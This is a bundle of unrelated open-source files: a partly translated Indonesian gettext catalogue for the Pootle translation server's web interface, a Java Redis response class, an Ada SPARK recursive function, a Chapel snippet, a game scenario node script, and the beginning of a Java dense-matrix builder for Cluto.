msgstr ""
#: static/js/admin/components/Project/ProjectController.js:80
msgid "Find project by name, code"
msgstr ""
#: static/js/admin/components/Project/ProjectEdit.js:28
msgid "Edit Project"
msgstr ""
#: static/js/admin/components/Project/ProjectEdit.js:38
msgid ""
"Use the search form to find the project, then click on a project to edit."
msgstr ""
#: static/js/admin/components/Project/ProjectForm.js:73
msgid "Quality Checks"
msgstr ""
#: static/js/admin/components/Project/ProjectForm.js:84
msgid "File types"
msgstr ""
#: static/js/admin/components/Project/ProjectForm.js:94
msgid "Project Tree Style"
msgstr ""
#: static/js/admin/components/Project/ProjectForm.js:104
#, fuzzy
msgid "Source Language"
msgstr "Semua Bahasa"
#: static/js/admin/components/Project/ProjectForm.js:111
msgid "Ignore Files"
msgstr ""
#: static/js/admin/components/Project/ProjectForm.js:119
msgid "String Errors Contact"
msgstr ""
#: static/js/admin/components/Project/ProjectForm.js:126
msgid "Screenshot Search Prefix"
msgstr ""
#: static/js/admin/components/Project/ProjectForm.js:134
msgid "Disabled"
msgstr ""
#: static/js/admin/components/Project/ProjectForm.js:149
msgid "Languages"
msgstr ""
#: static/js/admin/components/Project/ProjectForm.js:150
msgid "Permissions"
msgstr ""
#: static/js/admin/components/Project/ProjectForm.js:152
msgid "Filesystems"
msgstr ""
#: static/js/admin/components/Search.js:68
msgid "Load More"
msgstr ""
#: static/js/admin/components/Search.js:93
msgid "Loading..."
msgstr ""
#: static/js/admin/components/User/UserAdd.js:28
#: static/js/admin/components/User/UserEdit.js:33
msgid "Add User"
msgstr ""
#: static/js/admin/components/User/UserController.js:59
#, python-format
msgid "%(count)s user matches your query."
msgid_plural "%(count)s users match your query."
msgstr[0] ""
#: static/js/admin/components/User/UserController.js:63
#, python-format
msgid "There is %(count)s user."
msgid_plural ""
"There are %(count)s users. Below are the most recently added ones."
msgstr[0] ""
#: static/js/admin/components/User/UserController.js:79
msgid "Search Users"
msgstr ""
#: static/js/admin/components/User/UserController.js:80
msgid "Find user by name, email, properties"
msgstr ""
#: static/js/admin/components/User/UserEdit.js:28
msgid "Edit User"
msgstr ""
#: static/js/admin/components/User/UserEdit.js:38
msgid "Use the search form to find the user, then click on a user to edit."
msgstr ""
#: static/js/admin/components/User/UserForm.js:47
msgid ""
"Note: when deleting a user their contributions to the site, e.g. comments, "
"suggestions and translations, are attributed to the anonymous user (nobody)."
msgstr ""
#: static/js/admin/components/User/UserForm.js:63
#: static/js/auth/components/SignInForm.js:95
#: static/js/auth/components/SignUpForm.js:84
msgid "Username"
msgstr ""
#: static/js/admin/components/User/UserForm.js:73
msgid "Active"
msgstr ""
#: static/js/admin/components/User/UserForm.js:81
#: static/js/auth/components/SignInForm.js:104
#: static/js/auth/components/SignUpForm.js:101
#: static/js/auth/components/SocialVerification.js:99
#: static/js/auth/components/PasswordResetForm.js:117
msgid "Password"
msgstr ""
#: static/js/admin/components/User/UserForm.js:82
msgid "Set a new password"
msgstr ""
#: static/js/admin/components/User/UserForm.js:98
#: static/js/auth/components/SignUpForm.js:92
msgid "Email"
msgstr ""
#: static/js/admin/components/User/UserForm.js:108
msgid "Administrator"
msgstr ""
#: static/js/admin/components/User/UserForm.js:116
#: static/js/user/components/UserProfileForm.js:92
msgid "Twitter"
msgstr ""
#: static/js/admin/components/User/UserForm.js:118
msgid "Twitter username"
msgstr ""
#: static/js/admin/components/User/UserForm.js:125
#: static/js/user/components/UserProfileForm.js:101
msgid "LinkedIn"
msgstr ""
#: static/js/admin/components/User/UserForm.js:127
msgid "LinkedIn profile URL"
msgstr ""
#: static/js/admin/components/User/UserForm.js:133
#: static/js/user/components/UserProfileForm.js:109
msgid "Website"
msgstr ""
#: static/js/admin/components/User/UserForm.js:135
msgid "Personal website URL"
msgstr ""
#: static/js/admin/components/User/UserForm.js:142
#: static/js/user/components/UserProfileForm.js:118
msgid "Short Bio"
msgstr ""
#: static/js/admin/components/User/UserForm.js:144
msgid "Personal description"
msgstr ""
#: static/js/admin/components/User/UserForm.js:160
msgid "Public Profile"
msgstr ""
#: static/js/admin/components/User/UserForm.js:161
msgid "Settings"
msgstr ""
#: static/js/admin/general/components/ContentPreview.js:32
msgid "Preview will be displayed here."
msgstr ""
#: static/js/auth/components/AccountActivation.js:33
#, python-format, javascript-format
msgid ""
"We have sent an email containing the special link to <span>%s</span>. Please "
"check your spam folder if you do not see the email."
msgstr ""
#: static/js/auth/components/AccountActivation.js:41
msgid ""
"We have sent an email containing the special link to the address used to "
"register this account. Please check your spam folder if you do not see the "
"email."
msgstr ""
#: static/js/auth/components/AccountActivation.js:47
msgid "Your account needs activation."
msgstr ""
#: static/js/auth/components/AccountActivation.js:49
msgid "Please follow that link to continue the account creation."
msgstr ""
#: static/js/auth/components/AccountActivation.js:64
#: static/js/auth/components/AccountInactive.js:35
#: static/js/auth/components/EmailConfirmation.js:34
msgid "Close"
msgstr ""
#: static/js/auth/components/AccountInactive.js:29
msgid "Your account is inactive because an administrator deactivated it."
msgstr ""
#: static/js/auth/components/AuthWindow.js:27
msgid "Contact Us"
msgstr ""
#: static/js/auth/components/EmailConfirmation.js:28
msgid "This email confirmation link expired or is invalid."
msgstr ""
#: static/js/auth/components/PasswordResetForm.js:81
msgid ""
"The password reset link was invalid, possibly because it has already been "
"used. Please request a new password reset."
msgstr ""
#: static/js/auth/components/PasswordResetForm.js:89
msgid "Reset Password"
msgstr ""
#: static/js/auth/components/PasswordResetForm.js:101
msgid "Password changed, signing in..."
msgstr ""
#: static/js/auth/components/PasswordResetForm.js:125
#: static/js/auth/components/SignUpForm.js:110
msgid "Repeat Password"
msgstr ""
#: static/js/auth/components/PasswordResetForm.js:139
msgid "Set New Password"
msgstr ""
#: static/js/auth/components/PasswordResetForm.js:143
msgid "After changing your password you will sign in automatically."
msgstr ""
#: static/js/auth/components/RequestPasswordResetProgress.js:24
#, python-format, javascript-format
msgid "Sending email to %s..."
msgstr ""
#: static/js/auth/components/RequestPasswordResetSent.js:48
msgid "Please follow that link to continue the password reset procedure."
msgstr ""
#: static/js/auth/components/RequestPasswordResetSent.js:51
msgid ""
"Didn't receive an email? Check if it was accidentally filtered out as spam, "
"or try requesting another copy of the email."
msgstr ""
#: static/js/auth/components/RequestPasswordResetSent.js:67
msgid "Resend Email"
msgstr ""
#: static/js/auth/components/SignInForm.js:83
#: static/js/auth/components/RequestPasswordResetForm.js:122
msgid "Sign up as a new user"
msgstr ""
#: static/js/auth/components/SignInForm.js:113
#: static/js/auth/components/SocialVerification.js:107
msgid "I forgot my password"
msgstr ""
#: static/js/auth/components/SignInForm.js:124
#: static/js/auth/components/SocialVerification.js:118
#: static/js/auth/containers/Auth.js:83
msgid "Sign In"
msgstr ""
#: static/js/auth/components/SignInPanel.js:47
#: static/js/auth/components/SocialVerification.js:74
msgid "Signed in. Redirecting..."
msgstr ""
#: static/js/auth/components/SignInPanel.js:60
msgid "Social Services"
msgstr ""
#: static/js/auth/components/SignInPanel.js:63
msgid "Login / Password"
msgstr ""
#: static/js/auth/components/SignUpForm.js:125
#: static/js/auth/containers/Auth.js:96
msgid "Sign Up"
msgstr ""
#: static/js/auth/components/SignUpForm.js:130
msgid "Sign in as an existing user"
msgstr ""
#: static/js/auth/components/SocialAuthError.js:30
#, python-format, javascript-format
msgid "An error occurred while attempting to sign in via %s."
msgstr ""
#: static/js/auth/components/SocialAuthError.js:35
msgid "An error occurred while attempting to sign in via your social account."
msgstr ""
#: static/js/auth/components/SocialAuthError.js:52
msgid "Try again"
msgstr ""
#: static/js/auth/components/SocialSignInForm.js:38
#, python-format, javascript-format
msgid "Sign In With %s"
msgstr ""
#: static/js/auth/components/SocialSignInForm.js:45
msgid ""
"Signing in with an external service for the first time will automatically "
"create an account for you."
msgstr ""
#: static/js/auth/containers/Auth.js:83
msgid "Sign In With..."
msgstr ""
#: static/js/auth/containers/Auth.js:90
msgid "Account Inactive"
msgstr ""
#: static/js/auth/containers/Auth.js:102
msgid "Account Activation"
msgstr ""
#: static/js/auth/containers/Auth.js:108
msgid "Email Confirmation"
msgstr ""
#: static/js/auth/containers/Auth.js:114 static/js/auth/containers/Auth.js:120
#: static/js/auth/containers/Auth.js:126
msgid "Reset Your Password"
msgstr ""
#: static/js/auth/containers/Auth.js:132
msgid "Oops..."
msgstr ""
#: static/js/auth/containers/Auth.js:138
msgid "Social Verification"
msgstr ""
#: static/js/browser/components/Stats.js:54
#, fuzzy
msgid "More..."
msgstr "Lebih"
#: static/js/browser/components/Stats.js:67
msgid "Contributors, 30 Days"
msgstr ""
#: static/js/browser/components/TopContributorsTable.js:23
#, python-format
msgid "#%(position)s"
msgstr ""
#: static/js/browser/components/VisibilityToggle.js:46
msgid "Show disabled"
msgstr ""
#: static/js/browser/components/VisibilityToggle.js:47
msgid "Hide disabled"
msgstr ""
#: static/js/browser.js:267
msgid "All Languages"
msgstr "Semua Bahasa"
#: static/js/browser.js:273
msgid "All Projects"
msgstr "Semua Proyek"
#: static/js/common.js:142
msgid "Updating data"
msgstr ""
#: static/js/editor/app.js:339 static/js/editor/app.js:658
msgid ""
"You have unsaved changes in this string. Navigating away will discard those "
"changes."
msgstr ""
#: static/js/editor/app.js:384
msgid ""
"Go to the next string (Ctrl+.)<br/><br/>Also:<br/>Next page: Ctrl+Shift+.<br/"
">Last page: Ctrl+Shift+End"
msgstr ""
#: static/js/editor/app.js:390
msgid ""
"Go to the previous string (Ctrl+,)<br/><br/>Also:<br/>Previous page: Ctrl"
"+Shift+,<br/>First page: Ctrl+Shift+Home"
msgstr ""
#. Translators: '%s' is a username
#: static/js/editor/app.js:515
#, python-format, javascript-format
msgid "%s's pending suggestions"
msgstr "Saran %s yang tertunda"
#. Translators: '%s' is a username
#: static/js/editor/app.js:518
#, python-format, javascript-format
msgid "%s's accepted suggestions"
msgstr "Saran %s yang diterima"
#. Translators: '%s' is a username
#: static/js/editor/app.js:521
#, python-format, javascript-format
msgid "%s's rejected suggestions"
msgstr "Saran %s yang ditolak"
#. Translators: '%s' is a username
#: static/js/editor/app.js:524
#, python-format, javascript-format
msgid "%s's submissions"
msgstr "Setoran %s"
#. Translators: '%s' is a username, meaning "submissions by %s,
#. that were overwritten"
#: static/js/editor/app.js:528
#, python-format, javascript-format
msgid "%s's overwritten submissions"
msgstr "Setoran %s yang ditimpa"
#: static/js/editor/app.js:1069
msgid "Error while connecting to the server"
msgstr "Kesalahan ketika menyambung ke server"
#: static/js/editor/app.js:1074
msgid "Not found"
msgstr ""
#: static/js/editor/app.js:1076
msgid "Server error"
msgstr "Kesalahan server"
#: static/js/editor/app.js:1078
msgid "The server seems down. Try again later."
msgstr "Tampaknya server mati. Coba lagi nanti."
#: static/js/editor/app.js:1087
msgid "This string no longer exists."
msgstr ""
#: static/js/editor/app.js:1088
msgid "Go back to browsing"
msgstr ""
#: static/js/editor/app.js:1090
msgid "Reload page"
msgstr ""
#: static/js/editor/app.js:2188
msgid "some anonymous user"
msgstr ""
#: static/js/editor/app.js:2190
msgid "someone"
msgstr ""
#: static/js/editor/app.js:2208 static/js/editor/app.js:2262
msgid "Similar translations"
msgstr "Terjemahan serupa"
#: static/js/editor/components/EditorPluralFormHeader.js:26
#: static/js/editor/components/UnitSource.js:52
#, python-format
msgid "Plural form %(index)s"
msgstr ""
#: static/js/editor/components/SuggestionFeedbackForm.js:93
msgid "Edit the suggestion before accepting, if necessary"
msgstr ""
#: static/js/editor/components/SuggestionFeedbackForm.js:107
msgid "Provide optional comment (will be publicly visible)"
msgstr ""
#: static/js/editor/components/SuggestionFeedbackForm.js:119
msgid "Accept"
msgstr ""
#: static/js/editor/components/SuggestionFeedbackForm.js:123
msgid "Reject"
msgstr ""
#: static/js/editor/components/UploadTimeSince.js:35
#, python-format
msgid "%(timeSince)s via file upload"
msgstr ""
#: static/js/shared/components/FormSelectInput.js:39
msgid "Clear all"
msgstr ""
#: static/js/shared/components/FormSelectInput.js:40
msgid "Clear value"
msgstr ""
#: static/js/shared/components/FormSelectInput.js:41
msgid "No results found"
msgstr ""
#: static/js/shared/components/FormSelectInput.js:43
msgid "Select..."
msgstr ""
#: static/js/shared/components/FormSelectInput.js:44
msgid "Type to search"
msgstr ""
#: static/js/shared/models/project.js:62
msgid "disabled"
msgstr ""
#: static/js/stats.js:30
#, fuzzy
msgid "Congratulations! You have completed this task!"
msgstr "Selamat, Anda telah mengerjakan semua string."
#: static/js/stats.js:127
#, fuzzy
msgid "Collapse details"
msgstr "Sembunyikan rincian"
#: static/js/stats.js:127
msgid "Expand details"
msgstr "Tampilkan rincian"
#: static/js/user/components/UserProfileEdit.js:95
msgid "Edit My Public Profile"
msgstr ""
#: static/js/user/components/UserProfileEdit.js:102
msgid "My Public Profile"
msgstr ""
#: static/js/user/components/UserProfileEdit.js:117
msgid "Discard changes."
msgstr ""
#: static/js/user/components/UserProfileEdit.js:118
msgid "Yes"
msgstr ""
#: static/js/user/components/UserProfileEdit.js:119
msgid "No"
msgstr ""
#: static/js/user/components/UserProfileEdit.js:121
msgid "There are unsaved changes. Do you want to discard them?"
msgstr ""
#: static/js/user/components/UserProfileForm.js:59
#, python-format
msgid ""
"To set or change your avatar for your email address (%(email)s), please go "
"to gravatar.com."
msgstr ""
#: static/js/user/components/UserProfileForm.js:75
msgid "Your Full Name"
msgstr ""
#: static/js/user/components/UserProfileForm.js:83
msgid "Avatar"
msgstr ""
#: static/js/user/components/UserProfileForm.js:94
msgid "Your Twitter username"
msgstr ""
#: static/js/user/components/UserProfileForm.js:103
msgid "Your LinkedIn profile URL"
msgstr ""
#: static/js/user/components/UserProfileForm.js:111
msgid "Your Personal website/blog URL"
msgstr ""
#: static/js/user/components/UserProfileForm.js:120
msgid ""
"Why are you part of our translation project? Describe yourself, inspire "
"others!"
msgstr ""
#: static/js/auth/components/RequestPasswordResetForm.js:96
msgid "Email Address"
msgstr ""
#: static/js/auth/components/RequestPasswordResetForm.js:97
msgid ""
"Enter your email address, and we will send you a message with the special "
"link to reset your password."
msgstr ""
#: static/js/auth/components/RequestPasswordResetForm.js:108
msgid "No, thanks"
msgstr ""
#: static/js/auth/components/RequestPasswordResetForm.js:116
msgid "Send Email"
msgstr ""
#: static/js/auth/components/RequestPasswordResetSent.js:44
#, python-format
msgid "We have sent an email containing the special link to <span>%s</span>"
msgstr ""
#: static/js/auth/components/SignInForm.js:85
msgid "Creating new user accounts is prohibited."
msgstr ""
#: static/js/auth/components/SocialVerification.js:81
#, python-format
msgid ""
"We found a user with <span>%(email)s</span> email in our system. Please "
"provide the password to finish the sign in procedure. This is a one-off "
"procedure, which will establish a link between your Pootle and %(provider)s "
"accounts."
msgstr ""
#: static/js/editor/app.js:650
msgid "No results."
msgstr "Tidak ada hasil."
#: templates/admin/xhr_language_user_activity.html:6
msgid "Project / Language"
msgstr ""
#: templates/admin/xhr_language_user_activity.html:7
msgid "Suggested"
msgstr ""
#: templates/admin/xhr_language_user_activity.html:8
msgid "Translated"
msgstr ""
#: templates/admin/xhr_language_user_activity.html:9
msgid "Reviewed"
msgstr ""
#: templates/admin/xhr_language_user_activity.html:10
msgid "Score Change"
msgstr ""
#: templates/admin/xhr_language_user_activity.html:20
#: templates/admin/xhr_language_user_activity.html:24
#: templates/admin/xhr_language_user_activity.html:31
#: templates/admin/xhr_language_user_activity.html:35
#: templates/admin/xhr_language_user_activity.html:40
#: templates/admin/xhr_language_user_activity.html:51
#: templates/admin/xhr_language_user_activity.html:55
#: templates/admin/xhr_language_user_activity.html:59
#, python-format
msgid "%s word"
msgid_plural "%s words"
msgstr[0] ""
#: templates/admin/xhr_language_user_activity.html:69
msgid "No activity recorded in a given period"
msgstr ""
#: templates/admin/xhr_language_user_activity.html:72
msgid "Please select a valid user."
msgstr ""
#: templates/editor/units/xhr_edit_ctx.html:4
msgid "More"
msgstr "Lebih"
#: templates/editor/units/xhr_edit_ctx.html:5
msgid "Hide"
msgstr "Sembunyikan"
#: templates/editor/units/xhr_edit_ctx.html:6
msgid "Less"
msgstr "Kurang"
#: templates/editor/units/xhr_edit_ctx.html:7
msgid "Show"
msgstr "Tampilkan"
#: templates/editor/units/xhr_tm.html:17
#, python-format
msgid ""
"Translated by %(fullname)s in “<span title=\"%(path)s\">%(project)s</span>” "
"project %(time_ago)s"
msgstr ""
#: templates/editor/units/xhr_tm.html:20
#, python-format
msgid ""
"Translated by %(fullname)s in “<span title=\"%(path)s\">%(project)s</span>” "
"project"
msgstr ""
#, fuzzy
#~ msgid "Entire Project"
#~ msgstr "Semua Projek"
#, fuzzy
#~ msgid "%(user)s removed translation for %(sourceString)s"
#~ msgstr "Saran %s yang ditolak"
#, fuzzy
#~ msgid "%(user)s accepted suggestion for %(sourceString)s"
#~ msgstr "Saran %s yang diterima"
#, fuzzy
#~ msgid "%(user)s muted %(check)s for %(sourceString)s"
#~ msgstr "Saran %s yang diterima"
#, fuzzy
#~ msgid "%(user)s unmuted %(check)s for %(sourceString)s"
#~ msgstr "Saran %s yang diterima"
#, fuzzy
#~ msgid "%(user)s added suggestion for %(sourceString)s"
#~ msgstr "Saran %s yang diterima"
#, fuzzy
#~ msgid "%(user)s rejected suggestion for %(sourceString)s"
#~ msgstr "Saran %s yang ditolak"
#, fuzzy
#~ msgid "%(user)s translated %(sourceString)s"
#~ msgstr "Saran %s yang ditolak"
#, fuzzy
#~ msgid "%(user)s edited %(sourceString)s"
#~ msgstr "Saran %s yang diterima"
#, fuzzy
#~ msgid "%(user)s pre-translated %(sourceString)s"
#~ msgstr "Saran %s yang ditolak"
#, fuzzy
#~ msgid "%(user)s reviewed %(sourceString)s"
#~ msgstr "Saran %s yang diterima"
#, fuzzy
#~ msgid "%(user)s marked as needs work %(sourceString)s"
#~ msgstr "Saran %s yang diterima"
#, fuzzy
#~ msgid "A year ago"
#~ msgstr "%s tahun yang lalu"
#, fuzzy
#~ msgid "%(count)s year ago"
#~ msgid_plural "%(count)s years ago"
#~ msgstr[0] "%s tahun yang lalu"
#, fuzzy
#~ msgid "A month ago"
#~ msgstr "%s menit yang lalu"
#, fuzzy
#~ msgid "%(count)s month ago"
#~ msgid_plural "%(count)s months ago"
#~ msgstr[0] "%s menit yang lalu"
#, fuzzy
#~ msgid "A week ago"
#~ msgstr "%s minggu yang lalu"
#, fuzzy
#~ msgid "%(count)s week ago"
#~ msgid_plural "%(count)s weeks ago"
#~ msgstr[0] "%s minggu yang lalu"
#, fuzzy
#~ msgid "Yesterday"
#~ msgstr "%s hari yang lalu"
#, fuzzy
#~ msgid "%(count)s day ago"
#~ msgid_plural "%(count)s days ago"
#~ msgstr[0] "%s tahun yang lalu"
#, fuzzy
#~ msgid "An hour ago"
#~ msgstr "%s jam yang lalu"
#, fuzzy
#~ msgid "%(count)s hour ago"
#~ msgid_plural "%(count)s hours ago"
#~ msgstr[0] "%s jam yang lalu"
#, fuzzy
#~ msgid "A minute ago"
#~ msgstr "%s menit yang lalu"
#, fuzzy
#~ msgid "%(count)s minute ago"
#~ msgid_plural "%(count)s minutes ago"
#~ msgstr[0] "%s menit yang lalu"
#~ msgid "A few seconds ago"
#~ msgstr "Beberapa detik yang lalu"
#~ msgid "Unknown error"
#~ msgstr "Kesalahan tak dikenal"
#~ msgid "Are you sure you want to continue?"
#~ msgstr "Anda yakin ingin melanjutkan?"
#~ msgid "This operation cannot be undone."
#~ msgstr "Operasi ini tak dapat dibatalkan."
#~ msgid "Show tags"
#~ msgstr "Tampilkan tag"
#~ msgid "Hide tags"
#~ msgstr "Sembunyikan tag"
#~ msgid "Hide filtering"
#~ msgstr "Sembunyikan penyaringan"
#~ msgid "Show filtering"
#~ msgstr "Tampilkan penyaringan"
#~ msgid "Go to the next string (Ctrl+.)"
#~ msgstr "Ke string selanjutnya (Ctrl+.)"
#~ msgid "Go to the previous string (Ctrl+,)"
#~ msgstr "Ke string sebelumnya (Ctrl+,)"
#~ msgid "Export View"
#~ msgstr "Tampilan Ekspor"
#~ msgid "You reached the beginning of the list"
#~ msgstr "Anda mencapai awal daftar"
#~ msgid "You reached the end of the list."
#~ msgstr "Anda mencapai akhir daftar."
#~ msgid "Return to the overview page."
#~ msgstr "Kembali ke halaman ringkasan."
#~ msgid "%s% match"
#~ msgstr "%s% cocok"
#~ msgid "<a href=\"%s\">String %s</a>"
#~ msgstr "<a href=\"%s\">String %s</a>"
|
{
"pile_set_name": "Github"
}
|
package org.commoncrawl.util.redis;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.Arrays;
import org.commoncrawl.util.ByteArrayUtils;
/**
* An object encapsulating a single response line or
* a set of responses from a multi response
*
*
* @author rana
*
*/
public class RedisResponse {
static enum Type {
Status,
Error,
Integer,
Buffer,
Multi
}
RedisResponse.Type type;
long lValue;
ByteBuffer bValue;
RedisResponse values[];
int valueIndex=0;
/**
* constructor
* @param type
*/
RedisResponse(RedisResponse.Type type) {
this.type = type;
}
RedisResponse(RedisResponse.Type type,byte[] responseData) {
this.type = type;
this.bValue = ByteBuffer.wrap(RedisClient.OK);
}
public boolean isMulti() {
return type == Type.Multi;
}
public boolean isResponseOK() {
return (type == Type.Status && bValue != null &&
ByteArrayUtils.compareBytes(RedisClient.OK, 0, RedisClient.OK.length, bValue.array(),bValue.arrayOffset() + bValue.position(),bValue.remaining()) == 0);
}
public boolean isResponseQUEUED() {
return (type == Type.Status && bValue != null &&
ByteArrayUtils.compareBytes(RedisClient.QUEUED, 0, RedisClient.QUEUED.length, bValue.array(),bValue.arrayOffset() + bValue.position(),bValue.remaining()) == 0);
}
/**
* add a child value to this multi response object
*
* @param response
* @return true if all expected values have been added to this object
* @throws IOException
*/
boolean addValue(RedisResponse response)throws IOException {
if (values == null || valueIndex == values.length) {
throw new IOException("Invalid attempt to add value to existing RedisResponse!");
}
values[valueIndex++] = response;
return (valueIndex == values.length);
}
RedisResponse currentResponseValue() throws IOException {
if (valueIndex == 0)
throw new IOException("Invalid valueIndex!");
return values[valueIndex-1];
}
@Override
public String toString() {
return toStringInternal(0);
}
String toStringInternal(int level) {
char temp[] = new char[level * 3];
Arrays.fill(temp,' ');
String pad = new String(temp);
StringBuffer sb = new StringBuffer(pad + "Type:" + type + " ");
switch (type) {
case Integer: sb.append(pad + "Value:" + lValue);break;
case Buffer: sb.append(pad + "Value:" + ((bValue == null) ? "<NULL>" : new String(bValue.array(),bValue.arrayOffset()+bValue.position(),bValue.remaining())));break;
case Multi: {
sb.append(pad + "Child Count:" + ((values == null) ? 0 : values.length) + "\n");
if (values != null) {
for (int i=0;i<values.length;++i) {
sb.append(pad + " [" + i + "]" + values[i].toStringInternal(0));
sb.append(values[i].toStringInternal(level + 1) + "\n");
}
}
}
break;
case Error: sb.append(pad + "ERROR:" + new String(bValue.array(),bValue.arrayOffset()+bValue.position(),bValue.remaining())); break;
case Status: sb.append(pad + "STATUS:" + new String(bValue.array(),bValue.arrayOffset()+bValue.position(),bValue.remaining())); break;
}
return sb.toString();
}
}
|
{
"pile_set_name": "Github"
}
|
package Recursive_Subprograms.Multiple with SPARK_Mode is
type Nat_Array is array (Positive range <>) of Natural;
function Max (A : Nat_Array; F, L : Positive) return Positive is
(if F = L then F
elsif A (F) > A (L) then Max (A, F, L - 1)
else Max (A, F + 1, L))
with Pre => L in A'Range and F in A'Range and F <= L,
Post => Max'Result in F .. L
and then (for all I in F .. L => A (I) <= A (Max'Result)),
Subprogram_Variant => (Increases => F, Decreases => L);
end Recursive_Subprograms.Multiple;
|
{
"pile_set_name": "Github"
}
|
var s = "a1";
var x64 = s:uint(64);
writeln("x64 is: ", x64);
|
{
"pile_set_name": "Github"
}
|
@once-disp-msg = 0
sdf 13, 0
msg 0, 1, -1
pic 0, 4
ex1 -1, -1, -1
ex2 -1, -1, -1
goto -1
@if-sdf = 1
sdf 101, 0
msg -1, -1, -1
pic 0, 4
ex1 1, 3, -1
ex2 -1, -1, -1
goto -1
@if-sdf = 2
sdf 101, 7
msg -1, -1, -1
pic 0, 4
ex1 -1, -1, -1
ex2 1, 3, -1
goto -1
@change-ter = 3
sdf -1, -1
msg -1, -1, -1
pic 0, 4
ex1 14, 10, -1
ex2 148, -1, -1
goto -1
@once-dlog = 4
sdf -1, -1
msg 2, -1, 1
pic 161, 1
ex1 51, 5, -1
ex2 -1, -1, -1
goto -1
@if-sdf = 5
sdf 101, 3
msg -1, -1, -1
pic 0, 4
ex1 1, 9, -1
ex2 -1, -1, -1
goto 6
@set-sdf = 6
sdf 101, 3
msg -1, -1, -1
pic 0, 4
ex1 1, -1, -1
ex2 -1, -1, -1
goto 7
@once-dlog = 7
sdf -1, -1
msg 8, -1, 1
pic 161, 1
ex1 -1, -1, -1
ex2 -1, -1, -1
goto 8
@town-visible = 8
sdf -1, -1
msg -1, -1, -1
pic 0, 4
ex1 15, 1, -1
ex2 -1, -1, -1
goto -1
@if-sdf = 9
sdf 101, 5
msg -1, -1, -1
pic 0, 4
ex1 1, 10, -1
ex2 -1, -1, -1
goto 12
@once-dlog = 10
sdf -1, -1
msg 14, -1, 1
pic 161, 1
ex1 -1, -1, -1
ex2 -1, -1, -1
goto 11
@set-sdf = 11
sdf 101, 9
msg -1, -1, -1
pic 0, 4
ex1 1, -1, -1
ex2 -1, -1, -1
goto -1
@if-sdf = 12
sdf 101, 7
msg -1, -1, -1
pic 0, 4
ex1 1, 13, -1
ex2 -1, -1, -1
goto 14
@once-dlog = 13
sdf -1, -1
msg 20, -1, 1
pic 161, 1
ex1 -1, -1, -1
ex2 -1, -1, -1
goto -1
@if-sdf = 14
sdf 101, 4
msg -1, -1, -1
pic 0, 4
ex1 1, 16, -1
ex2 -1, -1, -1
goto 7
@disp-msg = 15
sdf -1, -1
msg -1, -1, -1
pic 0, 4
ex1 -1, -1, -1
ex2 -1, -1, -1
goto -1
@once-dlog = 16
sdf -1, -1
msg 26, -1, 0
pic 161, 1
ex1 3, 17, -1
ex2 2, 18, -1
goto -1
@disp-msg = 17
sdf -1, -1
msg 32, -1, -1
pic 0, 4
ex1 -1, -1, -1
ex2 -1, -1, -1
goto -1
@set-sdf = 18
sdf 101, 7
msg -1, -1, -1
pic 0, 4
ex1 1, -1, -1
ex2 -1, -1, -1
goto 19
@once-dlog = 19
sdf -1, -1
msg 33, -1, 1
pic 161, 1
ex1 -1, -1, -1
ex2 -1, -1, -1
goto -1
@button-generic = 20
sdf -1, -1
msg -1, -1, -1
pic 0, 4
ex1 27, 21, -1
ex2 12, 0, -1
goto -1
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2009 David Jurgens
*
* This file is part of the S-Space package and is covered under the terms and
* conditions therein.
*
* The S-Space package is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as published
* by the Free Software Foundation and distributed hereunder to you.
*
* THIS SOFTWARE IS PROVIDED "AS IS" AND NO REPRESENTATIONS OR WARRANTIES,
* EXPRESS OR IMPLIED ARE MADE. BY WAY OF EXAMPLE, BUT NOT LIMITATION, WE MAKE
* NO REPRESENTATIONS OR WARRANTIES OF MERCHANT- ABILITY OR FITNESS FOR ANY
* PARTICULAR PURPOSE OR THAT THE USE OF THE LICENSED SOFTWARE OR DOCUMENTATION
* WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER
* RIGHTS.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package edu.ucla.sspace.matrix;
import edu.ucla.sspace.matrix.MatrixIO.Format;
import edu.ucla.sspace.util.SparseArray;
import edu.ucla.sspace.vector.Vector;
import java.io.File;
import java.io.IOError;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.RandomAccessFile;
import java.util.Arrays;
import java.util.logging.Logger;
/**
* A {@code MatrixBuilder} for building dense cluto matrix input files.
*
* @author Keith Stevens
*/
public class ClutoDenseMatrixBuilder implements MatrixBuilder {
/**
* Logger for the {@code ClutoDenseMatrixBuilder} class
*/
private static final Logger LOGGER =
Logger.getLogger(ClutoSparseMatrixBuilder.class.getName());
/**
* The file to which the matrix will be written
*/
private final File matrixFile;
/**
* The writer used to add data to the matrix file
*/
private final PrintWriter writer;
/**
* Whether the builder has finished adding data to the matrix array
*/
private boolean isFinished;
/**
* The number of the row that will next be assigned. Once this matrix
* has been finished, this value will reflect the total number of rows in
* the matrix.
*/
private int curRow;
/**
* The total number of columns in the matrix. This value is continuously
* updated as new columns are seen and is not valid until the matrix has
* been finished.
*/
private int numCols;
/**
* Creates a new {@code ClutoSparseMatrixBuilder} using a constructed temp
* file.
*/
public ClutoDenseMatrixBuilder() {
this(getTempMatrixFile());
}
/**
* Creates a new {@code ClutoSparseMatrixBuilder} using a the given
* file.
*/
public ClutoDenseMatrixBuilder(File backingFile) {
this.matrixFile = backingFile;
curRow = 0;
numCols = 0;
isFinished = false;
try {
// Write a temporary header of whitespace using 100 chars.
writer = new PrintWriter(backingFile);
char[] whiteSpace = new char[100];
Arrays.fill(whiteSpace, ' ');
writer.println(whiteSpace);
} catch (IOException ioe) {
throw new IOError(ioe);
}
}
/**
* Returns a temporary file that will be deleted on JVM exit.
*'
* @return a temporary file used to store a matrix
*/
private static File getTempMatrixFile() {
File tmp = null;
try {
tmp = File.createTempFile("cluto-dense-matrix", ".dat");
tmp.deleteOnExit();
} catch (IOException ioe) {
throw new IOError(ioe);
}
return tmp;
}
/**
* {@inheritDoc}
*/
public synchronized int addColumn(double[] row) {
if (isFinished)
throw new IllegalStateException(
"Cannot add columns to a MatrixBuilder that is finished");
// Update the size of the matrix based on the size of the array
if (row.length > numCols)
numCols = row.length;
// Write the column to file
StringBuilder sb = new StringBuilder();
for (int i = 0; i < row.length; ++i)
sb.append(row[i]).append(" ");
writer.println(sb.toString());
return ++curRow;
}
/**
* {@inheritDoc}
*/
public synchronized int addColumn(SparseArray<? extends Number> row) {
